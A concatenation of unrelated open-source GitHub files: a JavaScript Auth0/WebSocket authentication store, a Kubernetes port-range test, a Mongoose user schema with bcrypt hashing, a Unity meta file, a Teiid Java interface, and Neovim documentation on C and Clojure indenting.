})
return
}
Promise.all(promises)
.then(broadcastLogout)
.then(cb)
.catch(cb)
}
checkToken() {
// this ensure that there is always a valid token before a sync
if (this.expiresAt > new Date().getTime()) {
return Promise.resolve()
}
return this.getToken()
}
scheduleToken(time) {
if (isNaN(time)) return
log('Getting new token in', (time / 60 / 60).toFixed(2), 'hours.')
setTimeout(() => {
this.getToken()
}, Math.round(time) * 1000)
}
getToken() {
if (!navigator.onLine) {
log('Offline, will not try to refresh token.')
return
}
if (
JSON.stringify(this.refreshToken) === '{}' ||
this.refreshToken.loginType === 'local'
) {
return Promise.resolve()
} else if (this.refreshToken.loginType === 'auth0') {
fetch(`${config.endpoint}/ping`)
.then(response => response.json())
.then(data => {
if (data.status === 'healthy') {
return 'healthy'
}
throw new Error('Server is not available - not refreshing.')
})
.then(() => {
return new Promise((resolve, reject) => {
this.auth0.checkSession({}, (err, authResult) => {
if (err) {
this.trigger(EVENTS.UNIVERSAL_ERROR, err)
} else if (
authResult &&
authResult.accessToken &&
authResult.idToken
) {
const expiresAt = JSON.stringify(
authResult.expiresIn * 1000 + new Date().getTime()
)
this.refreshToken.accessToken = authResult.accessToken
this.accessToken = { access_token: authResult.accessToken }
this.refreshToken.idToken = authResult.idToken
this.refreshToken.expiresAt = expiresAt
this.expiresAt = expiresAt
set('auth', this.refreshToken)
log('Auth0 Session Refreshed')
this.trigger(EVENTS.TOKEN_READY)
this.scheduleToken(
(this.expiresAt - new Date().getTime() - HOUR) / 1000
)
this.connectSocketWithCheck()
resolve()
} else {
console.error(err)
alert(err.message)
reject(err)
}
})
})
})
} else {
return new Promise((resolve, reject) => {
fetch(
`${config.endpoint}/auth/token/${this.refreshToken.refresh_token}`
)
.then(checkStatus)
.then(response => {
response.json().then(data => {
this.accessToken = data
this.expiresAt = new Date().getTime() + data.expiresIn * 1000
this.scheduleToken(data.expiresIn - HOUR / 1000)
this.trigger(EVENTS.TOKEN_READY)
this.connectSocketWithCheck()
resolve(data)
})
})
.catch(function(err) {
reject(err)
})
})
}
}
requestUniversalAuth() {
if (config.loginType.indexOf('auth0') > -1) {
this.auth0.authorize()
} else {
throw new Error('No Auth0 Client!')
}
}
handleUniversalAuth() {
return new Promise((resolve, reject) => {
this.auth0.parseHash((err, authResult) => {
if (authResult && authResult.accessToken && authResult.idToken) {
const expiresAt = JSON.stringify(
authResult.expiresIn * 1000 + new Date().getTime()
)
this.refreshToken = {
loginType: 'auth0',
accessToken: authResult.accessToken,
idToken: authResult.idToken,
expiresAt: expiresAt
}
this.accessToken = { access_token: this.refreshToken.accessToken }
this.expiresAt = this.refreshToken.expiresAt
set('auth', this.refreshToken)
return fetch(`${config.endpoint}/auth/universal`, {
headers: this.authHeader(true)
})
.then(checkStatus)
.then(response => response.json())
.then(() => this.trigger(EVENTS.TOKEN_READY))
.then(() => log('Signed in with Auth0'))
.then(() => this.trigger(EVENTS.SIGN_IN))
.then(() => this.connectSocketWithCheck())
.then(() =>
this.scheduleToken(
(this.expiresAt - new Date().getTime() - HOUR) / 1000
)
)
.then(resolve)
.catch(err => {
this.trigger(EVENTS.SIGN_IN_ERROR, err)
reject(err)
})
} else if (err) {
console.error(err)
err.message = err.errorDescription
this.trigger(EVENTS.SIGN_IN_ERROR, err)
reject(err)
}
})
})
}
connectSocketWithCheck = () => {
if (broadcast.isMaster() && !this.isConnected()) {
this.connectSocket()
} else if (!broadcast.isMaster()) {
log('Not connecting WebSocket, not master tab.')
}
}
connectSocket = () => {
if (!navigator.onLine) {
log('Offline, will not try to connect WebSocket.')
return
}
let token = this.refreshToken.refresh_token
if (this.refreshToken.loginType === 'auth0') {
token = this.accessToken.access_token
}
const socket = new WebSocket(`${config.wsendpoint}?token=${token}`)
socket.onopen = () => {
this.socket = socket
this.reconnectDelay = 1
this.trigger(EVENTS.WEBSOCKET, { command: 'connected' })
log('Connected to Server via WebSocket')
if (this.queueCompleteSync === true) {
this.queueCompleteSync = false
// TODO: Find out the reason why this doesn't work properly.
// needs a timeout or doesn't work???
setTimeout(() => {
log('Emitting deferred complete-sync command.')
this.emitFinish()
}, 50)
}
}
socket.onmessage = msg => {
this.trigger(EVENTS.WEBSOCKET, JSON.parse(msg.data))
}
socket.onerror = err => {
console.error(err)
}
socket.onclose = () => {
this.socket = null
if (this.reconnectDelay < 60) {
this.reconnectDelay = this.reconnectDelay * 2
}
log(
'WebSocket Disconnected. Trying again in',
this.reconnectDelay,
'seconds.'
)
setTimeout(this.connectSocket, this.reconnectDelay * 1000)
}
}
emitFinish = (eventMode = false) => {
if (this.socket !== null) {
this.socket.send(
JSON.stringify({
command: 'complete-sync'
})
)
} else if (!broadcast.isMaster() && eventMode === false) {
broadcast.post('complete-sync')
} else {
this.queueCompleteSync = true
}
}
}
let authenticationStore = new AuthenticationStore()
export default authenticationStore
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2015 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package net
import (
"testing"
flag "github.com/spf13/pflag"
)
func TestPortRange(t *testing.T) {
testCases := []struct {
input string
success bool
expected string
included int
excluded int
}{
{"100-200", true, "100-200", 200, 201},
{" 100-200 ", true, "100-200", 200, 201},
{"0-0", true, "0-0", 0, 1},
{"", true, "", -1, 0},
{"100", false, "", -1, -1},
{"100 - 200", false, "", -1, -1},
{"-100", false, "", -1, -1},
{"100-", false, "", -1, -1},
{"200-100", false, "", -1, -1},
{"60000-70000", false, "", -1, -1},
{"70000-80000", false, "", -1, -1},
}
for i := range testCases {
tc := &testCases[i]
pr := &PortRange{}
var f flag.Value = pr
err := f.Set(tc.input)
if err != nil && tc.success == true {
t.Errorf("expected success, got %q", err)
continue
} else if err == nil && tc.success == false {
t.Errorf("expected failure")
continue
} else if tc.success {
if f.String() != tc.expected {
t.Errorf("expected %q, got %q", tc.expected, f.String())
}
if tc.included >= 0 && !pr.Contains(tc.included) {
t.Errorf("expected %q to include %d", f.String(), tc.included)
}
if tc.excluded >= 0 && pr.Contains(tc.excluded) {
t.Errorf("expected %q to exclude %d", f.String(), tc.excluded)
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
var bcrypt = require('bcrypt-nodejs')
var crypto = require('crypto')
var mongoose = require('mongoose')
var settings = require('../../../configs/settings.js').get()
var environment = require('../../../configs/environment.js').get()
var mail = require('../../mail.js')
var validate = require('mongoose-validator')
var timestamps = require('mongoose-timestamp')
var debug = require('debug')('meanstackjs:users')
var uuid = require('node-uuid')
// var _ = require('lodash')
var emailValidator = [
validate({
validator: 'isEmail',
message: 'Your email address is invalid.'
}),
validate({
validator: 'isLength',
arguments: 3,
message: 'We need an email address to create your account.'
})
]
var passwordValidator = [
validate({
validator: 'isLength',
arguments: [ 6, 255 ],
message: 'Your password must be at least 6 characters.'
})
]
var profileNameValidator = [
validate({
validator: 'contains',
arguments: ' ',
message: 'Please use your full name.'
}),
validate({
validator: 'isLength',
arguments: 3,
message: 'We need a name to create your account.'
})
]
var userSchema = new mongoose.Schema({
email: {
type: String,
lowercase: true,
unique: true,
required: 'We need an email address to create your account.',
validate: emailValidator
},
password: {
type: String,
required: true,
validate: passwordValidator
},
tokens: {
type: Array
},
roles: {
type: Array,
default: []
},
profile: {
name: {
type: String,
index: true,
required: 'We need a name to create your account.',
validate: profileNameValidator
},
gender: {
type: String,
default: ''
},
location: {
type: String,
default: ''
},
website: {
type: String,
default: ''
},
picture: {
type: String,
default: ''
}
},
// azure: {},
// facebook: {},
// twitter: {},
// github: {},
// google: {},
// linkedin: {},
// instagram: {},
lastLoggedIn: {
type: Date,
default: Date.now
},
resetPasswordToken: {
type: String
},
resetPasswordExpires: {
type: Date
},
apikey: {
type: String,
default: uuid.v4()
},
type: {
type: String,
default: 'user' // Service Accounts later
}
})
userSchema.pre('save', function (next) {
// Password hash middleware.
var user = this
user.wasNew = user.isNew // for post-save
if (!user.isModified('password')) {
return next()
}
if (user.isModified('password')) {
bcrypt.genSalt(10, function (error, salt) {
if (error) {
return next(error)
}
bcrypt.hash(user.password, salt, null, function (error, hash) {
if (error) {
return next(error)
}
user.password = hash
next()
})
})
} else {
next()
}
})
userSchema.post('save', function (user) {
if (user.wasNew && environment === 'production') {
debug('email a new user')
var message = {}
message.to = user.email
message.subject = settings.email.templates.welcome.subject
message.text = settings.email.templates.welcome.text(user.profile.name.split(' ')[0])
mail.send(message, function (error) {
if (error) throw error
})
}
})
userSchema.methods.comparePassword = function (candidatePassword, cb) {
// Helper method for validating user's password.
debug('start comparePassword')
var user = this
bcrypt.compare(candidatePassword, this.password, function (error, res) {
if (res) {
user.lastLoggedIn = Date.now()
user.save(function (error) {
if (error) self.logger.warn(error)
})
}
debug('end comparePassword')
cb(error, res)
})
}
userSchema.set('toObject', {
virtuals: true,
getters: true
})
userSchema.set('toJSON', {
virtuals: true
})
userSchema.virtual('gravatar').get(function () {
if (!this.email) {
return 'https://gravatar.com/avatar/?s=200&d=retro'
}
var md5 = crypto.createHash('md5').update(this.email).digest('hex')
return 'https://gravatar.com/avatar/' + md5 + '?s=200&d=retro'
})
// userSchema.virtual('connected').get(function () {
// return {
// azure: !_.isEmpty(this.azure),
// facebook: !_.isEmpty(this.facebook),
// twitter: !_.isEmpty(this.twitter),
// github: !_.isEmpty(this.github),
// google: !_.isEmpty(this.google),
// linkedin: !_.isEmpty(this.linkedin),
// instagram: !_.isEmpty(this.instagram)
// }
// })
userSchema.virtual('firstName').get(function () {
return this.profile.name.split(' ')[0]
})
userSchema.virtual('lastName').get(function () {
return this.profile.name.split(' ').slice(1).join(' ')
})
userSchema.pre('validate', function (next) {
// Trim whitespace
var self = this
if (typeof self.email === 'string') {
self.email = self.email.trim()
}
if (typeof self.profile.name === 'string') self.profile.name = self.profile.name.trim()
next()
})
userSchema.plugin(timestamps)
module.exports = userSchema
|
{
"pile_set_name": "Github"
}
|
fileFormatVersion: 2
guid: 2f24cd53c05d7f442830eb996aefda73
timeCreated: 1485380145
licenseType: Pro
NativeFormatImporter:
userData:
assetBundleName:
assetBundleVariant:
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright Red Hat, Inc. and/or its affiliates
* and other contributors as indicated by the @author tags and
* the COPYRIGHT.txt file distributed with this work.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.teiid.query.processor.proc;
import org.teiid.core.TeiidComponentException;
import org.teiid.core.TeiidProcessingException;
import org.teiid.query.sql.proc.Statement.Labeled;
public interface RepeatedInstruction extends Labeled {
public boolean testCondition(ProcedurePlan procEnv) throws TeiidComponentException, TeiidProcessingException;
public Program getNestedProgram();
public void postInstruction(ProcedurePlan procEnv) throws TeiidComponentException;
}
|
{
"pile_set_name": "Github"
}
|
*indent.txt* Nvim
VIM REFERENCE MANUAL by Bram Moolenaar
This file is about indenting C programs and other files.
Type |gO| to see the table of contents.
==============================================================================
1. Indenting C style programs *C-indenting*
The basics for C style indenting are explained in section |30.2| of the user
manual.
Vim has options for automatically indenting C style program files. Many
programming languages including Java and C++ follow very closely the
formatting conventions established with C. These options affect only the
indent and do not perform other formatting. There are additional options that
affect other kinds of formatting as well as indenting, see |format-comments|,
|fo-table|, |gq| and |formatting| for the main ones.
There are in fact four main methods available for indentation, each one
overrides the previous if it is enabled, or non-empty for 'indentexpr':
'autoindent' uses the indent from the previous line.
'smartindent' is like 'autoindent' but also recognizes some C syntax to
increase/reduce the indent where appropriate.
'cindent' Works more cleverly than the other two and is configurable to
different indenting styles.
'indentexpr' The most flexible of all: Evaluates an expression to compute
the indent of a line. When non-empty this method overrides
the other ones. See |indent-expression|.
The rest of this section describes the 'cindent' option.
Note that 'cindent' indenting does not work for every code scenario. Vim
is not a C compiler: it does not recognize all syntax. One requirement is
that toplevel functions have a '{' in the first column. Otherwise they are
easily confused with declarations.
These four options control C program indenting:
'cindent' Enables Vim to perform C program indenting automatically.
'cinkeys' Specifies which keys trigger reindenting in insert mode.
'cinoptions' Sets your preferred indent style.
'cinwords' Defines keywords that start an extra indent in the next line.
If 'lisp' is not on and 'equalprg' is empty, the "=" operator indents using
Vim's built-in algorithm rather than calling an external program.
See |autocommand| for how to set the 'cindent' option automatically for C code
files and reset it for others.
*cinkeys-format* *indentkeys-format*
The 'cinkeys' option is a string that controls Vim's indenting in response to
typing certain characters or commands in certain contexts. Note that this not
only triggers C-indenting. When 'indentexpr' is not empty 'indentkeys' is
used instead. The format of 'cinkeys' and 'indentkeys' is equal.
The default is "0{,0},0),0],:,0#,!^F,o,O,e" which specifies that indenting
occurs as follows:
"0{" if you type '{' as the first character in a line
"0}" if you type '}' as the first character in a line
"0)" if you type ')' as the first character in a line
"0]" if you type ']' as the first character in a line
":" if you type ':' after a label or case statement
"0#" if you type '#' as the first character in a line
"!^F" if you type CTRL-F (which is not inserted)
"o" if you type a <CR> anywhere or use the "o" command (not in
insert mode!)
"O" if you use the "O" command (not in insert mode!)
"e" if you type the second 'e' for an "else" at the start of a
line
Characters that can precede each key: *i_CTRL-F*
! When a '!' precedes the key, Vim will not insert the key but will
instead reindent the current line. This allows you to define a
command key for reindenting the current line. CTRL-F is the default
key for this. Be careful if you define CTRL-I for this because CTRL-I
is the ASCII code for <Tab>.
* When a '*' precedes the key, Vim will reindent the line before
inserting the key. If 'cinkeys' contains "*<Return>", Vim reindents
the current line before opening a new line.
0 When a zero precedes the key (but appears after '!' or '*') Vim will
reindent the line only if the key is the first character you type in
the line. When used before "=" Vim will only reindent the line if
there is only white space before the word.
When neither '!' nor '*' precedes the key, Vim reindents the line after you
type the key. So ';' sets the indentation of a line which includes the ';'.
Special key names:
<> Angle brackets mean spelled-out names of keys. For example: "<Up>",
"<Ins>" (see |key-notation|).
^ Letters preceded by a caret (^) are control characters. For example:
"^F" is CTRL-F.
o Reindent a line when you use the "o" command or when Vim opens a new
line below the current one (e.g., when you type <Enter> in insert
mode).
O Reindent a line when you use the "O" command.
e Reindent a line that starts with "else" when you type the second 'e'.
: Reindent a line when a ':' is typed which is after a label or case
statement. Don't reindent for a ":" in "class::method" for C++. To
Reindent for any ":", use "<:>".
=word Reindent when typing the last character of "word". "word" may
actually be part of another word. Thus "=end" would cause reindenting
when typing the "d" in "endif" or "endwhile". But not when typing
"bend". Also reindent when completion produces a word that starts
with "word". "0=word" reindents when there is only white space before
the word.
=~word Like =word, but ignore case.
If you really want to reindent when you type 'o', 'O', 'e', '0', '<', '>',
'*', ':' or '!', use "<o>", "<O>", "<e>", "<0>", "<<>", "<>>", "<*>", "<:>" or
"<!>", respectively, for those keys.
For an emacs-style indent mode where lines aren't indented every time you
press <Enter> but only if you press <Tab>, I suggest:
:set cinkeys=0{,0},:,0#,!<Tab>,!^F
You might also want to switch off 'autoindent' then.
Note: If you change the current line's indentation manually, Vim ignores the
cindent settings for that line. This prevents vim from reindenting after you
have changed the indent by typing <BS>, <Tab>, or <Space> in the indent or
used CTRL-T or CTRL-D.
*cinoptions-values*
The 'cinoptions' option sets how Vim performs indentation. The value after
the option character can be one of these (N is any number):
N indent N spaces
-N indent N spaces to the left
Ns N times 'shiftwidth' spaces
-Ns N times 'shiftwidth' spaces to the left
In the list below,
"N" represents a number of your choice (the number can be negative). When
there is an 's' after the number, Vim multiplies the number by 'shiftwidth':
"1s" is 'shiftwidth', "2s" is two times 'shiftwidth', etc. You can use a
decimal point, too: "-0.5s" is minus half a 'shiftwidth'.
The examples below assume a 'shiftwidth' of 4.
*cino->*
>N Amount added for "normal" indent. Used after a line that should
increase the indent (lines starting with "if", an opening brace,
etc.). (default 'shiftwidth').
cino= cino=>2 cino=>2s >
if (cond) if (cond) if (cond)
{ { {
foo; foo; foo;
} } }
<
*cino-e*
eN Add N to the prevailing indent inside a set of braces if the
opening brace at the End of the line (more precise: is not the
first character in a line). This is useful if you want a
different indent when the '{' is at the start of the line from
when '{' is at the end of the line. (default 0).
cino= cino=e2 cino=e-2 >
if (cond) { if (cond) { if (cond) {
foo; foo; foo;
} } }
else else else
{ { {
bar; bar; bar;
} } }
<
*cino-n*
nN Add N to the prevailing indent for a statement after an "if",
"while", etc., if it is NOT inside a set of braces. This is
useful if you want a different indent when there is no '{'
before the statement from when there is a '{' before it.
(default 0).
cino= cino=n2 cino=n-2 >
if (cond) if (cond) if (cond)
foo; foo; foo;
else else else
{ { {
bar; bar; bar;
} } }
<
*cino-f*
fN Place the first opening brace of a function or other block in
column N. This applies only for an opening brace that is not
inside other braces and is at the start of the line. What comes
after the brace is put relative to this brace. (default 0).
cino= cino=f.5s cino=f1s >
func() func() func()
{ { {
int foo; int foo; int foo;
<
*cino-{*
{N Place opening braces N characters from the prevailing indent.
This applies only for opening braces that are inside other
braces. (default 0).
cino= cino={.5s cino={1s >
if (cond) if (cond) if (cond)
{ { {
foo; foo; foo;
<
*cino-}*
}N Place closing braces N characters from the matching opening
brace. (default 0).
cino= cino={2,}-0.5s cino=}2 >
if (cond) if (cond) if (cond)
{ { {
foo; foo; foo;
} } }
<
*cino-^*
^N Add N to the prevailing indent inside a set of braces if the
opening brace is in column 0. This can specify a different
indent for whole of a function (some may like to set it to a
negative number). (default 0).
cino= cino=^-2 cino=^-s >
func() func() func()
{ { {
if (cond) if (cond) if (cond)
{ { {
a = b; a = b; a = b;
} } }
} } }
<
*cino-L*
LN Controls placement of jump labels. If N is negative, the label
will be placed at column 1. If N is non-negative, the indent of
the label will be the prevailing indent minus N. (default -1).
cino= cino=L2 cino=Ls >
func() func() func()
{ { {
{ { {
stmt; stmt; stmt;
LABEL: LABEL: LABEL:
} } }
} } }
<
*cino-:*
:N Place case labels N characters from the indent of the switch().
(default 'shiftwidth').
cino= cino=:0 >
switch (x) switch(x)
{ {
case 1: case 1:
a = b; a = b;
default: default:
} }
<
*cino-=*
=N Place statements occurring after a case label N characters from
the indent of the label. (default 'shiftwidth').
cino= cino==10 >
case 11: case 11: a = a + 1;
a = a + 1; b = b + 1;
<
*cino-l*
lN If N != 0 Vim will align with a case label instead of the
statement after it in the same line.
cino= cino=l1 >
switch (a) { switch (a) {
case 1: { case 1: {
break; break;
} }
<
*cino-b*
bN If N != 0 Vim will align a final "break" with the case label,
so that case..break looks like a sort of block. (default: 0).
When using 1, consider adding "0=break" to 'cinkeys'.
cino= cino=b1 >
switch (x) switch(x)
{ {
case 1: case 1:
a = b; a = b;
break; break;
default: default:
a = 0; a = 0;
break; break;
} }
<
*cino-g*
gN Place C++ scope declarations N characters from the indent of the
block they are in. (default 'shiftwidth'). A scope declaration
can be "public:", "protected:" or "private:".
cino= cino=g0 >
{ {
public: public:
a = b; a = b;
private: private:
} }
<
*cino-h*
hN Place statements occurring after a C++ scope declaration N
characters from the indent of the label. (default
'shiftwidth').
cino= cino=h10 >
public: public: a = a + 1;
a = a + 1; b = b + 1;
<
*cino-N*
NN Indent inside C++ namespace N characters extra compared to a
normal block. (default 0).
cino= cino=N-s >
namespace { namespace {
void function(); void function();
} }
namespace my namespace my
{ {
void function(); void function();
} }
<
*cino-E*
EN Indent inside C++ linkage specifications (extern "C" or
extern "C++") N characters extra compared to a normal block.
(default 0).
cino= cino=E-s >
extern "C" { extern "C" {
void function(); void function();
} }
extern "C" extern "C"
{ {
void function(); void function();
} }
<
*cino-p*
pN Parameter declarations for K&R-style function declarations will
be indented N characters from the margin. (default
'shiftwidth').
cino= cino=p0 cino=p2s >
func(a, b) func(a, b) func(a, b)
int a; int a; int a;
char b; char b; char b;
<
*cino-t*
tN Indent a function return type declaration N characters from the
margin. (default 'shiftwidth').
cino= cino=t0 cino=t7 >
int int int
func() func() func()
<
*cino-i*
iN Indent C++ base class declarations and constructor
initializations, if they start in a new line (otherwise they
are aligned at the right side of the ':').
(default 'shiftwidth').
cino= cino=i0 >
class MyClass : class MyClass :
public BaseClass public BaseClass
{} {}
MyClass::MyClass() : MyClass::MyClass() :
BaseClass(3) BaseClass(3)
{} {}
<
*cino-+*
+N Indent a continuation line (a line that spills onto the next)
inside a function N additional characters. (default
'shiftwidth').
Outside of a function, when the previous line ended in a
backslash, the 2 * N is used.
cino= cino=+10 >
a = b + 9 * a = b + 9 *
c; c;
<
*cino-c*
cN Indent comment lines after the comment opener, when there is no
other text with which to align, N characters from the comment
opener. (default 3). See also |format-comments|.
cino= cino=c5 >
/* /*
text. text.
*/ */
<
*cino-C*
CN When N is non-zero, indent comment lines by the amount specified
with the c flag above even if there is other text behind the
comment opener. (default 0).
cino=c0 cino=c0,C1 >
/******** /********
text. text.
********/ ********/
< (Example uses ":set comments& comments-=s1:/* comments^=s0:/*")
*cino-/*
/N Indent comment lines N characters extra. (default 0).
cino= cino=/4 >
a = b; a = b;
/* comment */ /* comment */
c = d; c = d;
<
*cino-(*
(N When in unclosed parentheses, indent N characters from the line
with the unclosed parentheses. Add a 'shiftwidth' for every
extra unclosed parentheses. When N is 0 or the unclosed
parentheses is the first non-white character in its line, line
up with the next non-white character after the unclosed
parentheses. (default 'shiftwidth' * 2).
cino= cino=(0 >
if (c1 && (c2 || if (c1 && (c2 ||
c3)) c3))
foo; foo;
if (c1 && if (c1 &&
(c2 || c3)) (c2 || c3))
{ {
<
*cino-u*
uN Same as (N, but for one nesting level deeper.
(default 'shiftwidth').
cino= cino=u2 >
if (c123456789 if (c123456789
&& (c22345 && (c22345
|| c3)) || c3))
<
*cino-U*
UN When N is non-zero, do not ignore the indenting specified by
( or u in case that the unclosed parentheses is the first
non-white character in its line. (default 0).
cino= or cino=(s cino=(s,U1 >
c = c1 && c = c1 &&
( (
c2 || c2 ||
c3 c3
) && c4; ) && c4;
<
*cino-w*
wN When in unclosed parentheses and N is non-zero and either
using "(0" or "u0", respectively, or using "U0" and the unclosed
parentheses is the first non-white character in its line, line
up with the character immediately after the unclosed parentheses
rather than the first non-white character. (default 0).
cino=(0 cino=(0,w1 >
if ( c1 if ( c1
&& ( c2 && ( c2
|| c3)) || c3))
foo; foo;
<
*cino-W*
WN When in unclosed parentheses and N is non-zero and either
using "(0" or "u0", respectively and the unclosed parentheses is
the last non-white character in its line and it is not the
closing parentheses, indent the following line N characters
relative to the outer context (i.e. start of the line or the
next unclosed parentheses). (default: 0).
cino=(0 cino=(0,W4 >
a_long_line( a_long_line(
argument, argument,
argument); argument);
a_short_line(argument, a_short_line(argument,
argument); argument);
<
*cino-k*
kN When in unclosed parentheses which follow "if", "for" or
"while" and N is non-zero, overrides the behaviour defined by
"(N": causes the indent to be N characters relative to the outer
context (i.e. the line where "if", "for" or "while" is). Has
no effect on deeper levels of nesting. Affects flags like "wN"
only for the "if", "for" and "while" conditions. If 0, defaults
to behaviour defined by the "(N" flag. (default: 0).
cino=(0 cino=(0,ks >
if (condition1 if (condition1
&& condition2) && condition2)
action(); action();
function(argument1 function(argument1
&& argument2); && argument2);
<
*cino-m*
mN When N is non-zero, line up a line starting with a closing
parentheses with the first character of the line with the
matching opening parentheses. (default 0).
cino=(s cino=(s,m1 >
c = c1 && ( c = c1 && (
c2 || c2 ||
c3 c3
) && c4; ) && c4;
if ( if (
c1 && c2 c1 && c2
) )
foo; foo;
<
*cino-M*
MN When N is non-zero, line up a line starting with a closing
parentheses with the first character of the previous line.
(default 0).
cino= cino=M1 >
if (cond1 && if (cond1 &&
cond2 cond2
) )
<
*java-cinoptions* *java-indenting* *cino-j*
jN Indent Java anonymous classes correctly. Also works well for
Javascript. The value 'N' is currently unused but must be
non-zero (e.g. 'j1'). 'j1' will indent for example the
following code snippet correctly: >
object.add(new ChangeListener() {
public void stateChanged(ChangeEvent e) {
do_something();
}
});
<
*javascript-cinoptions* *javascript-indenting* *cino-J*
JN Indent JavaScript object declarations correctly by not confusing
them with labels. The value 'N' is currently unused but must be
non-zero (e.g. 'J1'). If you enable this you probably also want
to set |cino-j|. >
var bar = {
foo: {
that: this,
some: ok,
},
"bar":{
a : 2,
b: "123abc",
x: 4,
"y": 5
}
}
<
*cino-)*
)N Vim searches for unclosed parentheses at most N lines away.
This limits the time needed to search for parentheses. (default
20 lines).
*cino-star*
*N Vim searches for unclosed comments at most N lines away. This
limits the time needed to search for the start of a comment.
If your /* */ comments stop indenting after N lines this is the
value you will want to change.
(default 70 lines).
*cino-#*
#N When N is non-zero recognize shell/Perl comments starting with
'#', do not recognize preprocessor lines; allow right-shifting
lines that start with "#".
When N is zero (default): don't recognize '#' comments, do
recognize preprocessor lines; right-shifting lines that start
with "#" does not work.
The defaults, spelled out in full, are:
cinoptions=>s,e0,n0,f0,{0,}0,^0,L-1,:s,=s,l0,b0,gs,hs,N0,E0,ps,ts,is,+s,
c3,C0,/0,(2s,us,U0,w0,W0,k0,m0,j0,J0,)20,*70,#0
Vim puts a line in column 1 if:
- It starts with '#' (preprocessor directives), if 'cinkeys' contains '#0'.
- It starts with a label (a keyword followed by ':', other than "case" and
"default") and 'cinoptions' does not contain an 'L' entry with a positive
value.
- Any combination of indentations causes the line to have less than 0
indentation.
==============================================================================
2. Indenting by expression *indent-expression*
The basics for using flexible indenting are explained in section |30.3| of the
user manual.
If you want to write your own indent file, it must set the 'indentexpr'
option. Setting the 'indentkeys' option is often useful.
See the $VIMRUNTIME/indent/README.txt file for hints.
See the $VIMRUNTIME/indent directory for examples.
REMARKS ABOUT SPECIFIC INDENT FILES ~
CLOJURE *ft-clojure-indent* *clojure-indent*
Clojure indentation differs somewhat from traditional Lisps, due in part to
the use of square and curly brackets, and otherwise by community convention.
These conventions are not universally followed, so the Clojure indent script
offers a few configurable options, listed below.
If the current vim does not include |searchpairpos()|, the indent script falls
back to normal 'lisp' indenting, and the following options are ignored.
*g:clojure_maxlines*
Set maximum scan distance of |searchpairpos()|. Larger values trade
performance for correctness when dealing with very long forms. A value of 0
will scan without limits.
>
" Default
let g:clojure_maxlines = 100
<
*g:clojure_fuzzy_indent*
*g:clojure_fuzzy_indent_patterns*
*g:clojure_fuzzy_indent_blacklist*
The 'lispwords' option is a list of comma-separated words that mark special
forms whose subforms must be indented with two spaces.
For example:
>
(defn bad []
"Incorrect indentation")
(defn good []
"Correct indentation")
<
If you would like to specify 'lispwords' with a |pattern| instead, you can use
the fuzzy indent feature:
>
" Default
let g:clojure_fuzzy_indent = 1
let g:clojure_fuzzy_indent_patterns = ['^with', '^def', '^let']
let g:clojure_fuzzy_indent_blacklist =
\ ['-fn$', '\v^with-%(meta|out-str|loading-context)$']
" Legacy comma-delimited string version; the list format above is
" recommended. Note that patterns are implicitly anchored with ^ and $
let g:clojure_fuzzy_indent_patterns = 'with.*,def.*,let.*'
<
|g:clojure_fuzzy_indent_patterns| and |g:clojure_fuzzy_indent_blacklist| are
|Lists| of patterns that will be matched against the unquoted, unqualified
symbol at the head of a list. This means that a pattern like "^foo" will match
all these candidates: "foobar", "my.ns/foobar", and "#'foobar".
Each candidate word is tested for special treatment in this order:
1. Return true if word is literally in 'lispwords'
2. Return false if word matches a pattern in
|g:clojure_fuzzy_indent_blacklist|
3. Return true if word matches a pattern in
|g:clojure_fuzzy_indent_patterns|
4. Return false and indent normally otherwise
*g:clojure_special_indent_words*
Some forms in Clojure are indented so that every subform is indented only two
spaces, regardless of 'lispwords'. If you have a custom construct that should
be indented in this idiosyncratic fashion, you can add your symbols to the
default list below.
>
" Default
let g:clojure_special_indent_words =
\ 'deftype,defrecord,reify,proxy,extend-type,extend-protocol,letfn'
<
*g:clojure_align_multiline_strings*
Align subsequent lines in multiline strings to the column after the opening
quote, instead of the same column.
For example:
>
(def default
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut
enim ad minim veniam, quis nostrud exercitation ullamco laboris
nisi ut aliquip ex ea commodo consequat.")
(def aligned
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut
enim ad minim veniam, quis nostrud exercitation ullamco laboris
nisi ut aliquip ex ea commodo consequat.")
<
This option is off by default.
>
" Default
let g:clojure_align_multiline_strings = 0
<
*g:clojure_align_subforms*
By default, parenthesized compound forms that look like function calls and
whose head subform is on its own line have subsequent subforms indented by
two spaces relative to the opening paren:
>
(foo
bar
baz)
<
Setting this option changes this behavior so that all subforms are aligned to
the same column, emulating the default behavior of clojure-mode.el:
>
(foo
bar
baz)
<
This option is off by default.
>
" Default
let g:clojure_align_subforms = 0
<
FORTRAN *ft-fortran-indent*
Block if, select case, where, and forall constructs are indented. So are
type, interface, associate, block, and enum constructs. The indenting of
subroutines, functions, modules, and program blocks is optional. Comments,
labelled statements and continuation lines are indented if the Fortran is in
free source form, whereas they are not indented if the Fortran is in fixed
source form because of the left margin requirements. Hence manual indent
corrections will be necessary for labelled statements and continuation lines
when fixed source form is being used. For further discussion of the method
used for the detection of source format see |ft-fortran-syntax|.
Do loops ~
All do loops are left unindented by default. Do loops can be unstructured in
Fortran with (possibly multiple) loops ending on a labelled executable
statement of almost arbitrary type. Correct indentation requires
compiler-quality parsing. Old code with do loops ending on labelled statements
of arbitrary type can be indented with elaborate programs such as Tidy
(http://www.unb.ca/chem/ajit/f_tidy.htm). Structured do/continue loops are
also left unindented because continue statements are also used for purposes
other than ending a do loop. Programs such as Tidy can convert structured
